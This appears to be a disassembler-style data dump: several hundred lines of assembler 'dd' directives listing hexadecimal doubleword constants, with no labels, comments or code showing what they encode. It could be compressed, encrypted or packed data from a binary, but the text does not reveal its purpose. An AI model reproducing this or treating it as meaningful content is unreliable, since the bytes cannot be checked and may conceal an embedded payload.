		dd 484B5BC7h, 30046084h, 0E5F19DDh, 0BF9AB1Ch, 1C28D9C7h
		dd 0E5401760h, 3005634Ah, 0A9000E33h, 88095852h, 311678D4h
		dd 56E8A77h, 3D15E889h,	0C5DB7612h, 58D3EC00h, 0E91C4EFh
		dd 888B3ACCh, 30D5A62Ah, 846B0548h, 4649AC00h, 147DE6FFh
		dd 892E3062h, 2C0E4AD0h, 3EF5FA00h, 3DA6E4ACh, 7735008Eh
		dd 0B36E1BD7h, 0A018C80Ah, 91A8D423h, 1FAD00C6h, 20928563h
		dd 0DB00BDF2h, 1D42E027h, 16D9F3Fh, 0C9135AF0h,	0D932CE04h
		dd 0B5ABFC8Fh, 0B6F79D0Eh, 71A26035h, 1F624Eh, 2B7A0765h
		dd 5A28A570h, 85A0DE00h, 0D4783D03h, 5E0A1F8Ah,	0B04E40E0h
		dd 43A74148h, 0E78E3C00h, 11C86D46h, 0FE7F003Bh, 0D7CDBE59h
		dd 180F6525h, 6029AF3Ch, 0C9A04224h, 2E9E3C5Ch,	0D75DDD80h
		dd 3F824070h, 38C72013h, 6ADD0FEBh, 85974BA0h, 0D700CC6Fh
		dd 657E0AEh, 78B307h, 0AD0DAF10h, 62839E58h, 0BDD84A0Eh
		dd 0D0256715h, 0B4DB3B10h, 170200D6h, 0C15E716Dh, 0DF00408Ah
		dd 0CD535FB6h, 0CA2D33Ch, 2EE95C9Ah, 63000139h,	327BAE2Bh
		dd 73FE913Ah, 83991E34h, 8BE1C04Eh, 5380A75Ah, 4A525407h
		dd 0E9C0D9F0h, 1FF234AFh, 405838D0h, 0F7F8A9F3h, 30017CC8h
		dd 40CCFF2Eh, 3CE0C909h, 0CD01001Ah, 0B17A5958h, 5303BEB4h
		dd 22446A0Dh, 7771E1D5h, 0DBEB198Ah, 0F1D000A0h, 2A50478Ch
		dd 0DAA42900h, 1A62CE96h, 28DB3F0Ch, 31604A85h,	14B81CD0h
		dd 77031C47h, 0B7E9A15Eh, 7601117Fh, 3DA46A94h,	5ED02AF4h
		dd 0C2E91D33h, 32DB009Ah, 0D5964D3Fh, 0CC6BD800h, 73BDEC70h
		dd 38DA0081h, 937C61C9h, 4E036901h, 0CC2EB74Dh,	9191C711h
		dd 57EC35EEh, 0EA0E0098h, 622A3793h, 221F8D6Ah,	0A540BDCCh
		dd 53ACE2A7h, 79C09AFh,	0D700B325h, 9E11A0D5h, 63E8E13Ch
		dd 98F66459h, 1845FBE3h, 19F47FDFh, 963CA993h, 3B0900B9h
		dd 0FAC11341h, 68A74E6h, 0A7DDC063h, 0BB3968A8h, 3DB9014Eh
		dd 60F8052Fh, 1C1059E4h, 1F4BFA61h, 1EDC03BCh, 0A0E3CF34h
		dd 855BB7D8h, 305FC138h, 791818F7h, 0E69F3016h,	1CCAC688h
		dd 23A22A00h, 447AC760h, 50B11F0Fh, 39480669h, 0E807C1CAh
		dd 0C9060863h, 0DC66BAA1h, 6B351980h, 300B91CEh, 5B4A9F00h
		dd 559E4E14h, 60167B19h, 97D86874h, 2303B612h, 443D2B2Eh
		dd 0A14106C0h, 0E0B2CBC5h, 20B13337h, 629A40CEh, 0B56E3Ch
		dd 7DA29F8Ch, 0A652C137h, 0AE6CD830h, 1DAFF3E8h, 589F2288h
		dd 15D53821h, 4BA5BE00h, 8408767Bh, 9FDD0060h, 0F9D2DB44h
		dd 3F07256Ah, 483733C6h, 0D32F0830h, 1FFF70D6h,	40927D40h
		dd 669060DFh, 0D4008337h, 1DE58F0h, 3A966BBAh, 0EE18C3C5h
		dd 9BEA2092h, 30EFE03h,	9169891Eh, 23D1DA59h, 5EDE408Ch
		dd 0B50BD949h, 0E297F99h, 19EC20E8h, 3CB96E3h, 0B8CF5D15h
		dd 0E7A06686h, 701E8E9Eh, 2C58E254h, 0CE375EA0h, 0A683C050h
		dd 1100316Bh, 0D663AEC6h, 19C2942Eh, 8ABE786h, 0A721806Fh
		dd 3F2A63A6h, 8B62005Fh, 679640B4h, 0D3DE124h, 604AB050h
		dd 39233489h, 1060CB32h, 3B6DAC39h, 655913Eh, 0D36EB30Bh
		dd 9FE400A8h, 0AA4D927Ch, 27FC732h, 3D04D001h, 0A988E1F1h
		dd 0DB1F60h, 0CB38897Ah, 8050A32Ah, 0C423301h, 0E6AC2119h
		dd 3FF8D8CFh, 0B6B50043h, 244B2B5Eh, 88982794h,	17C4EA03h
		dd 80337A60h, 1436E7Bh,	0FE15FC39h, 0F3F04B50h,	39ABAE8h
		dd 0A795CB00h, 4C6B0CD3h, 92960047h, 2DDE82B6h,	0E7FEA2FBh
		dd 3656E1Eh, 0B43130C0h, 18852036h, 1822D324h, 0BB00C4B8h
		dd 92A19963h, 74283197h, 0D3FC3E81h, 7FEFD100h,	0A10ADE0h
		dd 0BF0EC678h, 600D5C57h, 839B19D2h, 32078A3h, 6A088144h
		dd 6BD86C8Bh, 9D00CF1Fh, 3F2B43B8h, 11BAD6A2h, 3BA7C370h
		dd 511A80EBh, 0AD8FB236h, 1BD024B3h, 0D2AA007Bh, 0CE370F3Ch
		dd 2E00AC73h, 9F297512h, 300151BAh, 20383F97h, 3774CAF1h
		dd 18AC8CA0h, 3CE5AA0Ah, 0D21F1039h, 468B4740h,	0BEAA68Fh
		dd 45B070BFh, 4AA3CF80h, 11F6C399h, 80399F1Eh, 735C2180h
		dd 0E23E198h, 46ED26D6h, 5400F6CBh, 0CEB3DA34h,	0B7314F00h
		dd 0AE896765h, 0E27C0795h, 0D0E54AF3h, 6B52FD32h, 7B772000h
		dd 10CEB40Fh, 0EDE0EFh,	7D99E7D0h, 0DA9BABBFh, 6D9CA467h
		dd 1CAF0C20h, 97CD0085h, 0C2D81072h, 80E9084Fh,	51229170h
		dd 3706771Bh, 0CE20CF0Ah, 2D22B7EEh, 0A4600B40h, 5A198FF1h
		dd 728F76Dh, 7F085D8h, 0A190921Eh, 0CD1490B4h, 4D003A76h
		dd 26F73478h, 0C0C55243h, 23EC4550h, 1400B436h,	75BABF15h
		dd 0E4C816h, 0C18342DFh, 6F5B2B11h, 2E55F103h, 0A0943A88h
		dd 3A10ABF0h, 69024A1Bh, 6A4B980h, 60742B61h, 20005D4Eh
		dd 9212930Bh, 602F860Eh, 5B2CE1C6h, 0BA009A09h,	0C01E4A85h
		dd 839CABh, 550CC6A0h, 0DFFAE030h, 0ED997406h, 2CF9E598h
		dd 5458558h, 41846D1Eh,	1FEDFBB0h, 0C292F8CAh, 0D001827Bh
		dd 5B5445Ch, 6D877D2h, 85F1002Dh, 0DD5DD493h, 0D9006352h
		dd 8B0B94D1h, 12108h, 42026F9Ch, 5819831Eh, 0BB6AAE3Dh
		dd 0E7B1004Bh, 689D984Dh, 961D003Ch, 7EC96257h,	111F8BB7h
		dd 0C4407A80h, 55609D0Dh, 8E6D0042h, 8B01661Fh,	0E00C33Dh
		dd 0D148AEDEh, 14E551Bh, 0D43B895Eh, 6020DA7Eh,	0EE00473Ch
		dd 731E9197h, 0ECA053h,	44040AC7h, 3E812B3Bh, 5187569h
		dd 0C037313h, 0F845D111h, 1085A5Eh, 0A6B71F27h,	87DBAED5h
		dd 0D1D82FC1h, 0BFDDCDF0h, 0E6D43069h, 8056DE98h, 8DA200E9h
		dd 0CCF70091h, 0EABAC810h, 0E0036C6h, 0ED6FAC78h, 31FC094h
		dd 2FCD2A4Bh, 30D7BD97h, 0CCC2EBF9h, 3F8B69C0h,	0F0DDF804h
		dd 0CB800CEh, 0AC0DFBEAh, 50093AFh, 0E0256412h,	0CD166Dh
		dd 4D67A69Ch, 29F379A7h, 0C408A560h, 1FCF8F23h,	1E760A03h
		dd 0FA1B0F7Bh, 0E29C87h, 0ED435F4Bh, 0F41F57F0h, 7900BFDEh
		dd 5059CDA1h, 1872E81Bh, 18C25E41h, 3E00CBB3h, 62F6EA81h
		dd 0F8CFE715h, 81E0024h, 0FEF011A3h, 0E00039Fh,	4CF77DCDh
		dd 57E6B6Eh, 885E51F2h,	102C6F38h, 0B0F044EFh, 7CA175FFh
		dd 0A69A10BFh, 890CA068h, 19E40AFAh, 7846CB9h, 0C86056C4h
		dd 8179E01Ch, 7CF1D2BDh, 18837A04h, 257342A7h, 0CCC55E98h
		dd 78FF7D00h, 0B7EFA17h, 3B24007Ch, 0EB965AE1h,	380067DBh
		dd 19F86360h, 18935EB5h, 60F4F756h, 0FD2A6976h,	0D202445h
		dd 428E0319h, 0E2EB7326h
		dd 669B23A8h, 80CCB0C6h, 366B78B9h, 0D84865A1h,	0CC860485h
		dd 10FB3Dh, 562659C2h, 0D9A9E235h, 1E109E00h, 0A71751C5h
		dd 0F5930F52h, 43FE631Bh, 0E37FB9Ah, 47B7AA80h,	42D8A800h
		dd 0BE4E1B2Bh, 0E37F00ABh, 776BE818h, 0A71EDD22h, 8E4392B4h
		dd 91973988h, 2F307281h, 24110F86h, 0AA01032h, 0B967D20Fh
		dd 40D75900h, 0F581EDB2h, 77B101D8h, 96F70A42h,	2E02AC6h
		dd 128F0026h, 0B1932085h, 700BAF1h, 0CC73E734h,	81665Fh
		dd 0C6AAB8A4h, 3A32674Ah, 0F2863F00h, 116AAF1Bh, 9AEC0026h
		dd 4CDBD78Dh, 60078559h, 0AE0053Fh, 0A6F0E430h,	5C7D00B8h
		dd 0CE5713A7h, 0B5EC3BE1h, 40065500h, 43D9EE7Fh, 0BA0A3B8Bh
		dd 56BB6702h, 56E0F0DEh, 0C54C42F4h, 80DA007Ah,	0C2D5E97Eh
		dd 0E348006Ah, 0D06EA7Fh, 0F5388E69h, 0A4CE0023h, 33583C42h
		dd 52B21FC1h, 80C25F43h, 77730C02h, 6E009CE5h, 0E372FA5Dh
		dd 0E6E89Fh, 33E91BEAh,	8A651F03h, 2C7B1D00h, 0CB148D58h
		dd 2A3CE070h, 1F8B58Eh,	1193020Ch, 0CC14C609h, 6800FE22h
		dd 0E73D6C7Fh, 0EBD59406h, 78D9C67Ah, 10215700h, 0B1469B5Fh
		dd 9E1100E3h, 0E78F5978h, 0C60108EAh, 2FEC22CBh, 8DD4F3DDh
		dd 902C92D8h, 7EB7006Fh, 7A1F780Dh, 5F001C84h, 247645BFh
		dd 0E82C0CD0h, 56B10F8Bh, 0A707B7A8h, 0C4FF20D2h, 0E0F54063h
		dd 823CF272h, 1BD88798h, 9E039554h, 0C2A1C077h,	0B81130DAh
		dd 0CF88CBBAh, 5E0A2200h, 46A8241Fh, 14C80080h,	86890D70h
		dd 0BB1E57F0h, 0D0A4ADC3h, 18DD6B80h, 1F4A67B1h, 43A6FA1Dh
		dd 0D0F5485Bh, 314DD4F0h, 44AF5A00h, 1CCB7130h,	9EFAF9h
		dd 0B88B67F6h, 6FC6A2ADh, 17D1439h, 0FBF241EFh,	7EF81ADFh
		dd 0B252009Ah, 335E6443h, 0D61F86A0h, 4F16D284h, 0D5C51B00h
		dd 0B07323h, 6708667Dh,	285F1BEBh, 38CBE101h, 0B2297F98h
		dd 318A2F0h, 0B9B16DA6h, 8CE8FE6Eh, 9100FD0Dh, 0AADFEE85h
		dd 7C5A7F46h, 0EDD8B766h, 9CD00160h, 0A017A722h, 9195E0h
		dd 88113543h, 6C33AAC2h, 49EEC100h, 0F31821ECh,	0C5B50205h
		dd 4868D7F8h, 1B7D1040h, 8E9F4C3Eh, 0C06DD0A8h,	0E077B429h
		dd 7C0735Fh, 0A798026Ah, 691820D7h, 870007BBh, 22B91CA6h
		dd 3EB89Eh, 0F684293Ch,	80B2C5EDh, 99732C1Ch, 0EC7F43C0h
		dd 37F43Ah, 0F888DB12h,	38B37DD3h, 0A4D1962Eh, 0A74C003Eh
		dd 64B41FBEh, 475B9h, 0B3EE33CBh, 0DD93463Dh, 1C30A01h
		dd 2452A448h, 7392D8DBh, 0F8090BD5h, 0C30015F5h, 76B8D067h
		dd 51C84200h, 57FBAF0Eh, 194000B5h, 5C0C9B30h, 0CB121C53h
		dd 0FA13D3h, 4E7DBA65h,	1900CC6Ch, 69A1520Eh, 9273096Eh
		dd 7DD00A88h, 996C8Eh, 0AD501129h, 0C09912B0h, 6EABFB00h
		dd 0E035C605h, 2D21007Bh, 0BEBDF1A4h, 0E7009BDDh, 1D44B8E1h
		dd 0C13692h, 983AFCECh,	5139EA4Fh, 8E5F4700h, 0B32FF7D1h
		dd 57170075h, 0D20C983Bh, 0FE001BDAh, 0F5C30566h, 39CF7D44h
		dd 3D803A34h, 692B158Eh, 0DB09F9EAh, 83BEE9ABh,	0C86A92AAh
		dd 0CD0C494h, 6BEACC64h, 539BDA8h, 74E13C61h, 0A83C7100h
		dd 0C4F9AEA6h, 5FDD39E5h, 0FB529880h, 91160253h, 7BE85800h
		dd 0C1F4DF88h, 0DE7A68h, 8CB8CD52h, 18A10D60h, 45515400h
		dd 36C0EA25h, 0E45B0002h, 0ACE80BC3h, 3724D243h, 0AA804CA5h
		dd 31302086h, 0AB91003Dh, 271BCCF2h, 16004A96h,	70085E7Ah
		dd 0D90551h, 0C7E7F160h, 344EEA90h, 0AAF4411Eh,	0EEA3E480h
		dd 7536B8BBh, 0F02D00DCh, 0CB206B43h, 1600CD66h, 0BB1B54B6h
		dd 0D93C70h, 0F8F59C41h, 0BF40AD06h, 89114D00h,	0D2D7FEA4h
		dd 8F47034Eh, 0AB0D9A34h, 0C96A21D8h, 0DDB53700h, 423BCF71h
		dd 5B59245Dh, 0D94D006Dh, 251FF92Ch, 0F5762E00h, 0BB131BD4h
		dd 0CEFE0011h, 2F85284Ah, 0FC0A43C1h, 0BC6782F1h, 19090E00h
		dd 0F4E5A6h, 3C896A35h,	2366CFA1h, 9DA0C61Eh, 540AF582h
		dd 0E45048BFh, 0CA7825h, 0B7BED549h, 2F34C7ACh,	89884700h
		dd 0F1DA265Dh, 0D5EB0021h, 4B58A6DFh, 0A11C7AB1h, 0E408087h
		dd 0CAAD0FACh, 0DF8900D6h, 0C419687Dh, 9928972Bh, 0F409B461h
		dd 0AB35609Dh, 52390020h, 0D81E29h, 0F558F149h,	0CA8ADA7Eh
		dd 6A195300h, 0AF298DDEh, 0E9B0002Ch, 7F11E1BFh, 0B80052CDh
		dd 0F8BE1A2Ah, 1F33A718h, 40214C04h, 66558A4Bh,	0EB00DD64h
		dd 3158B898h, 0E4BA7B84h, 23AB8C0h, 0B0DABF86h,	2B40E7DDh
		dd 6407F3A4h, 4045A693h, 0CC9BA3F0h, 36890317h,	0E96BEC38h
		dd 48D276D0h, 729FB900h, 5C939513h, 64BB0085h, 73F7C8DBh
		dd 8A7BD68Bh, 133C58h, 0AAD3214Fh, 30953Dh, 5803B578h
		dd 0CD8E99FAh, 0A360201Ch, 4D9BF400h, 3D983CCh,	32871B02h
		dd 4EC02107h, 4601B54Bh, 1736C1A1h, 38648E3Fh, 7F690F1Ah
		dd 0E580FDF0h, 1E38A581h, 9132050Ah, 3F04B45Ch,	1CCCF9BDh
		dd 3B300FBh, 5E34174Fh,	0AB1C04DFh, 71C014B7h, 9CC74DC3h
		dd 5CED7C91h, 200ED8E5h, 0D4401031h, 8C35B2Fh, 0C275481Fh
		dd 580E2C80h, 0F6C7C12Bh, 0A1E30056h, 24FDDB9Fh, 0F600F523h
		dd 875A9D35h, 1671B5C7h, 47901C72h, 9048A480h, 8CA94CBFh
		dd 0EAF85900h, 99AC5584h, 0F1E22E8Fh, 45F70014h, 0C83438FCh
		dd 73BF0F00h, 0F2143E18h, 1B49C06Ah, 2A7A33ADh,	0B403787Ah
		dd 5A73B2E7h, 0DF2101EFh, 4C31EA3Fh, 87D18F2Eh,	36592026h
		dd 3C6BC8Ch, 8D9B8929h,	3BF1B7E7h, 0AF1FE46Fh, 0B4460400h
		dd 81499DA4h, 3A7E45Bh,	0EEAAEF05h, 780023F6h, 0C8C39C44h
		dd 1E016Ch, 4B3C07B4h, 0AFDEE2FEh, 4F10F700h, 0CD2A4E6Bh
		dd 0F4161338h, 9E500005h, 0B98E9DF3h, 0C788C617h, 20ACBB0Eh
		dd 72B6E118h, 873B00D4h, 75A9C143h, 0E092063Eh,	2C59A001h
		dd 22E89B53h, 7668DECh,	68B01E46h, 8B5CC0F2h, 0F095443Ah
		dd 0D147148Fh, 9100A49Bh, 0BD76AD8Eh, 6D00CE26h, 0F202A598h
		dd 69A89h, 7E9D659Eh, 1DB31646h, 20E15400h, 0D64FEE8Eh
		dd 0FC6300DEh, 7BF42B2Ah, 271CAE9Ah, 26004E57h,	0CE792058h
		dd 91F0F5E5h, 3056002Ah, 62CF49DEh, 120157F9h, 2EDB6FC8h
		dd 70E4C424h, 1BE1739h,	0B4DC43CEh, 2FF0F25Ah, 9F265C85h
		dd 90810859h, 0E03F54BFh, 7C1298F7h, 52D51CFBh,	41F3404Bh
		dd 0FE4C5D56h, 0AF177D00h, 0A63F5C1Dh, 2A17438h, 25BE7B3h
		dd 156032CDh, 5F0019A4h, 0F209CAC2h, 1D2F40h, 301C08CEh
		dd 2272AA61h, 44608600h, 0B42C02C4h, 53C50AA1h,	1BC8AB6h
		dd 1BB71D0Ah, 56D84191h, 0A1B2402Eh, 0D91CC84Bh, 1F0075E4h
		dd 24FAE23Fh, 0A52E1EEDh, 0D4444087h, 1563CE07h, 900E0E2h
		dd 0AEEADFABh, 1C880B8Ch, 406ACCDCh, 54F89533h,	4E006021h
		dd 56CB4D3Ch, 3C8C69F6h, 8D3DD91Ch, 75CD9E80h, 0A715061Eh
		dd 1800F8B2h, 0D71ADD6Fh, 546585h, 7D6CFF3Ah, 9C0C40E2h
		dd 519C8B60h, 11A13F7h,	7C5CC5BFh, 25DA99E5h, 10B04090h
		dd 72E7F652h, 0C341002Ch, 194A799Ch, 5DA417CDh,	1351E5Bh
		dd 0AE6F3AD5h, 9295C0C0h, 0FF9D9800h, 492E44FDh, 7B117FA5h
		dd 4064588Ah, 0D616DC00h, 42BDDBF8h, 33D93500h,	4F7AE2B5h
		dd 6BFF0073h, 3D9155C8h, 0BE002F3Eh, 7CB0B82Ah,	9B881Ah
		dd 4BECBAF0h, 310395E0h, 6A114807h, 199CF26Dh, 8F6012DBh
		dd 76E83841h, 3D2CB41Eh, 6FD9003Fh, 99CFBEFEh, 6BD000FFh
		dd 0FCCE05BAh, 0B60977D1h, 245C3B5Eh, 0D4A24E48h, 874DE4C0h
		dd 2B4CF790h, 0C1040920h
		dd 0C9A48E05h, 416C80C6h, 38CA964Dh, 0C89F22D1h, 733F10h
		dd 835559D4h, 388564BDh, 1ADC9500h, 4F8051C4h, 0C1BA098Dh
		dd 5D815234h, 20A333B3h, 990FB588h, 606861EDh, 101FCA12h
		dd 80F30060h, 0BB519EAEh, 3E0113A3h, 8A63DC16h,	0D8D33DC4h
		dd 4543E8h, 5407F535h, 61DBB86Dh, 5E12D600h, 0C958753Eh
		dd 53C600D9h, 1EA39447h, 1800D242h, 0FD2E85D4h,	0FE7E3E3Bh
		dd 0D68F07C5h, 9058A275h, 1B7D667Fh, 881CC902h,	6025FDACh
		dd 385D9F6Bh, 0FA01F390h, 0A8B0B383h, 9C38877Bh, 2C10D0CAh
		dd 581D74h, 0C871FE6Eh,	0FAE19941h, 6FC2F41Ch, 6504DD00h
		dd 5899D5Ah, 6730D507h,	34978116h, 7574642Dh, 0C0A4FB00h
		dd 1C1A62BEh, 58B300CAh, 45686310h, 2950913Eh, 2613EDF4h
		dd 7805C8DEh, 9859F8Eh,	5753BC00h, 9B17101h, 60799B3Ch
		dd 0AE0BBCA0h, 725FDC7Fh, 0FD09A8B8h, 5CC0BB94h, 789167CCh
		dd 56E4FA81h, 0FEFC86CEh, 0AA99002Eh, 0C797645Ch, 1109901Dh
		dd 4B20A6h, 0DF9A1A18h,	0AEA53FA1h, 0CC46BA8Ch,	8B0094B6h
		dd 3092BFA3h, 0B3FFD1h,	0D8656AC9h, 119C9A0Fh, 6E619F1Ch
		dd 5C863A5Dh, 503CD7h, 19520807h, 0C05475DAh, 5DE2A1C0h
		dd 4CAB43A7h, 0ED00D78Fh, 4990CDB0h, 67074E27h,	0A9B310A2h
		dd 10C01B25h, 41F16Ch, 0F4F37ADEh, 0B6339829h, 5863F200h
		dd 0E5FED6B5h, 792F271h, 9E157FB2h, 5ACFE045h, 0BE63DBE9h
		dd 90972736h, 18EB8BA5h, 0B0C53B19h, 7600C817h,	257A51E6h
		dd 4AB8D66Ch, 0A038435Eh, 0AF88E172h, 1201175Ch, 0E7A74DF9h
		dd 0A060AE08h, 0A8803A95h, 29358C80h, 0B32B06EAh, 7200C27Ch
		dd 74A6F20Fh, 4CB5C69Bh, 0BD80686Ah, 5A6D59DBh,	1C830800h
		dd 82C15625h, 0E20900A7h, 69C6750Bh, 2F005C8Dh,	1DF4AED9h
		dd 58D356h, 13173D1Bh, 16D4BA3Ah, 46721C07h, 7A041EF2h
		dd 48EBAE80h, 8EAF00ECh, 887CC6DBh, 2800E931h, 94A5BB4Fh
		dd 11FA1Ah, 388D71BCh, 0C2EEB917h, 5BB0E717h, 98F4B820h
		dd 0D31102D5h, 0D8514ECFh, 0A4AC4C68h, 90B97927h, 9B237C54h
		dd 0C47108BCh, 63F75440h, 0C01E2C72h, 0B38F07CDh, 0FDCEEE53h
		dd 1080620Bh, 33741189h, 31744BFEh, 66123002h, 0E13F49CFh
		dd 5AD03E64h, 69EC16h, 5ECB4FCCh, 60330CCEh, 98BFB300h
		dd 0BD15B2FAh, 6B1C1EADh, 9C743EAh, 74901F06h, 0E100A07Bh
		dd 0A7F9D42Ah, 0F8E851Dh, 5DA8DC2Eh, 98192821h,	3A9830BBh
		dd 864817E0h, 0D80700ACh, 1BAAFD16h, 0EE33F679h, 63ED006Ch
		dd 3E949D1Fh, 37094828h, 0C1A060h, 100D79C4h, 0F9D7004Eh
		dd 51647C68h, 0CC98B721h, 77EE21h, 19F281Ah, 1E002524h
		dd 0A47D7F5Ch, 2F8DB0Eh, 0E56AE73Ch, 8C2E4EFh, 1689DC80h
		dd 77061021h, 85DBC709h, 0E30500A0h, 5CF69E5Fh,	8F012FD2h
		dd 0F0F8BF25h, 0C8FB0962h, 7D2E65h, 0D4AC7F3Dh,	9B126CFEh
		dd 53AB7E00h, 1B4E496Bh, 0ECA5EA43h, 8B2E0020h,	0DCC28406h
		dd 0F42859F7h, 0B300E785h, 8113F88Ah, 0FBD6A36h, 945D8040h
		dd 2BBB2602h, 56125851h, 0CCA4D003h, 81B0016Fh,	0CF4E7342h
		dd 0E4A42508h, 5C00502Dh, 75D279CAh, 0EC20FAAh,	0C0FB92DDh
		dd 68C8FDCCh, 0A8272200h, 8E1C19DCh, 77F81F67h,	80BA9DC4h
		dd 0B1CFF36Dh, 220070FEh, 0EE1CA3F0h, 785F827h,	6A74DB97h
		dd 0DDCE60C7h, 2D0246FBh, 0E36B69A8h, 40E657h, 4976EE56h
		dd 0FCED8430h, 0FD8F0B1Eh, 0CA0B801h, 0CF70DEE3h, 0A7E807A6h
		dd 60EB4FC3h, 0E4E5E94Bh, 0A5A558h, 0F150C5FFh,	206645h
		dd 0AFAB1562h, 2577A4B4h, 0BB247902h, 40E30BB1h, 0DE7DB0h
		dd 0FE16A94Ah, 9F43F8D1h, 0ED02E7F6h, 0B62D3683h, 5C87608Ch
		dd 7F1FFCECh, 905000CAh, 0E9068368h, 0C073A7FCh, 0E7AF6B07h
		dd 3590104Fh, 0B082D8A5h, 42C300BEh, 8703027h, 243D16B7h
		dd 0E9C28211h, 0C0330ACBh, 0FB4C4D48h, 90CA1074h, 0C9300E0h
		dd 0EA1FE1C5h, 0C3B85852h, 77002F90h, 8AB12613h, 7E88C2Fh
		dd 0DF2F6BAh, 34B0875Fh, 613CE0CDh, 0D1907103h,	18C1AFC9h
		dd 307D2B10h, 1B00C048h, 5CA62C5Dh, 0FF7C2997h,	0D7003C7Ch
		dd 0DE15A302h, 780EC36Bh, 89FCB8E3h, 661CA0E7h,	0CFEA32Bh
		dd 24EB8E5Eh, 0D8E8ED08h, 0A443F218h, 1E29CC0h,	0B4324EC1h
		dd 803F4784h, 0F282B08h, 215F6h, 90D1E692h, 46C1525Bh
		dd 8985FE03h, 0B8639350h, 1E7EA05h, 67D2FBB8h, 807531ECh
		dd 8F7E2459h, 3F879422h, 4283E56Fh, 0C2F21732h,	34E4A11Ch
		dd 9AABA843h, 0B978017Bh, 32675641h, 402AA3h, 0C8CD5EAEh
		dd 0F71F0014h, 0B88E15A2h, 292F1D03h, 134824Ch,	0FE3C80DDh
		dd 0EB8C16h, 0D11BF84h,	0D68B6C6Eh, 0B5658500h,	7B994CD5h
		dd 0C9CE00D9h, 0E5B8A3CCh, 6C004361h, 0CAB55F3Ah, 0CB3CC2h
		dd 8AAAA9EFh, 5020EE3Dh, 0B9C8FF00h, 0C3557F07h, 0E94130EAh
		dd 0E3CD93C9h, 60420B14h, 0B0640EC4h, 0D42A8AB8h, 0D9DE2180h
		dd 0CCA4F17h, 0B1732430h, 0F5B0ED72h, 70CD6718h, 0D964C9h
		dd 88B91CA2h, 5A01E715h, 770308C6h, 2EB20020h, 5B8728A3h
		dd 0AE033631h, 82550D60h, 0C6ACA89Ch, 7F701FFh,	1F755259h
		dd 53589D58h, 409ADACFh, 8CAF4DB8h, 0BEB20E1Dh,	0E9867C6Bh
		dd 0F379C9F1h, 985F4D0Fh, 0A2DF8F1Ch, 0A062AEDDh, 0F2019ACh
		dd 3F2458ECh, 0C5F1748h, 38210D70h, 2A008D76h, 0D227E99Bh
		dd 313DC26h, 5249DA14h,	2900785Eh, 0CD6F12FCh, 0D17133h
		dd 0B9BCAD57h, 0A451770Fh, 8C441D2Ah, 0EA025246h, 0C0B921A2h
		dd 0E634FA32h, 0FCA230D3h, 1E89D7E0h, 0AD6BC1C1h, 10804314h
		dd 0F3173A2Ah, 51D413Fh, 2DC7E8Fh, 8170AD40h, 1FDD043Eh
		dd 4067B494h, 53F8F68Eh, 0CB7EE023h, 0B576CC00h, 5C99DAF5h
		dd 94F30016h, 50821E2Bh, 91004E68h, 6E48D7D3h, 3E581173h
		dd 0DD012DAEh, 0E5A44593h, 0A1C6C450h, 0C7E74200h, 3B4CF6C5h
		dd 0ED360060h, 5B0580DBh, 7526D3D5h, 9E006B8Dh,	25E7AD30h
		dd 230F0003h, 0DF2C94F1h, 0E105F991h, 0B6647293h, 55590C40h
		dd 1F6E4F0h, 9F92EA50h,	0F0DC71C4h, 0DB063A85h,	61C8F8BAh
		dd 9FB70B31h, 0FA80401Ah, 9DFEE544h, 4BB85726h,	568A0300h
		dd 22874Fh, 719EF665h, 47A34D3Ch, 0C6BFB70Ch, 638386Bh
		dd 0DD75D4F8h, 0C73DC183h, 497F81C4h, 0A114F7CDh, 0C9E7E0h
		dd 73FC28ACh, 0DAF87B16h, 7500947Fh, 0CBC7240Ah, 5978D2h
		dd 0B32052DEh, 7A885519h, 95D35716h, 16C15800h,	37FEE6h
		dd 59816D9Eh, 0EBA6265Eh, 0D00080F8h, 3F74A372h, 0FE456BFh
		dd 7964D6A9h, 54256300h, 0D03E9A9Dh, 0B0899CFEh, 0F06699C6h
		dd 3590020h, 0F5B96AFAh, 970023BBh, 0BDB6D0E2h,	6F7C40FCh
		dd 950FBCEEh, 41625660h, 0C45CED14h, 343700BFh,	9DE116CEh
		dd 2775000Ch, 8C99AE8Fh, 0A30FB5F2h, 80495806h,	4677D589h
		dd 305160E6h, 5759227Bh, 1C2DF3Fh, 9179B0CAh, 0E9407A72h
		dd 28B6FC3Ch, 0A94172Eh, 0F3E19712h, 9D003980h,	5C24DF99h
		dd 0FB00CE29h, 42C6F530h, 5896F1F7h, 1600FFF2h,	0C799B6C4h
		dd 12008919h, 706B36A3h, 0F722764h, 0E91E0EC6h,	57CA49A0h
		dd 0BE63EBB0h, 0C801BB11h, 1D8EA60Eh, 76D263Ah,	204C0F08h
		dd 9C8C6F22h, 0E9031875h, 446A4EF2h, 0BA20008Dh, 3611CBBBh
		dd 767BE643h, 75C4501h,	0E068D1FAh, 39880AF0h, 12806C0Eh
		dd 7DD5712Ch, 9EE0B7C2h, 853C0F0Eh, 8E6C80E4h, 3A16E28h
		dd 5BAB2DD2h, 9305AB1h
		dd 0C88E4032h, 68A1007Eh, 3A58576Bh, 0B91AB4DCh, 40687748h
		dd 30167889h, 0AE5009B1h, 8C0FB0E3h, 0A30B56C7h, 0A30A4331h
		dd 0E8210099h, 8D72CFF4h, 0C3002092h, 6F100529h, 558A35h
		dd 0CF2B04C8h, 0ECF31E59h, 0AC0D4600h, 1CF6A723h, 1A804C88h
		dd 8048581Eh, 4CCD5926h, 60006879h, 0D349A4F6h,	7229714h
		dd 46EB271h, 7EF007A2h,	61CFD8C0h, 420030A3h, 7A0C0769h
		dd 0E783DBBh, 68F18273h, 435EFAE0h, 0A039CBFh, 949991Fh
		dd 0DF500067h, 38E36D06h, 20C0B8DCh, 0D123BC64h, 3DC600E4h
		dd 0EE5C4CE2h, 7600473Fh, 2B287D42h, 30A9BDD7h,	0E288C85Dh
		dd 0B1184F39h, 0FC10C903h, 346E001Bh, 600DB499h, 0D0F3FE51h
		dd 20C105BFh, 0ED6EF456h, 147E6C8h, 4B339DFAh, 3B2998Eh
		dd 0C0C9D05Ch, 36B13EB9h, 0B42800F8h, 12499B95h, 41013BFFh
		dd 0E589C555h, 0BDFCCF3Ch, 1827B8EDh, 0D8730611h, 10C405BBh
		dd 8409541Ah, 0A735D180h, 9373D78Bh, 0E540C80Fh, 314EDF5Dh
		dd 85D40003h, 0E9EB290h, 77CD3965h, 0F351E9E0h,	1500123Dh
		dd 70540687h, 6E7645h, 0A11F2027h, 47EC9B01h, 7CCC1B00h
		dd 0E668CEC2h, 0DE0D00FAh, 9BDDD076h, 52008A7Bh, 2E4BEEA0h
		dd 3181023h, 686D3E80h,	54A0E0FDh, 9D0BBD33h, 0BA71B5h
